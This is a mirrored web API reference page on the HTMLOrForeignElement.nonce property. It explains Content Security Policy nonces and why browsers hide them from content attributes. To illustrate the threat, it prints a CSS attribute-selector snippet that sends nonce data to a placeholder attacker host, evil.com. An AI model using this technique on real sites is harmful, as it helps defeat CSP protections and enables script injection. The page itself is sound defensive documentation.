HTMLOrForeignElement.nonce - Web APIs 编辑
The nonce
property of the HTMLOrForeignElement
interface returns the cryptographic number used once that is used by Content Security Policy to determine whether a given fetch will be allowed to proceed.
In later implementations, elements only expose their nonce
attribute to scripts (and not to side-channels like CSS attribute selectors).
Examples
Retrieving a nonce value
In the past, not all browsers supported the nonce
IDL attribute, so a workaround is to try to use getAttribute
as a fallback:
let nonce = script['nonce'] || script.getAttribute('nonce');
However, recent browsers version hide nonce
values that are accessed this way (an empty string will be returned). The IDL property (script['nonce']
) will be the only way to access nonces.
Nonce hiding helps preventing that attackers exfiltrate nonce data via mechanisms that can grab data from content attributes like this:
script[nonce~=whatever] {
background: url("https://evil.com/nonce?whatever");
}
Specifications
Specification |
---|
HTML Living Standard The definition of 'nonce' in that specification. |
Browser Compatibility
BCD tables only load in the browser
See also
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论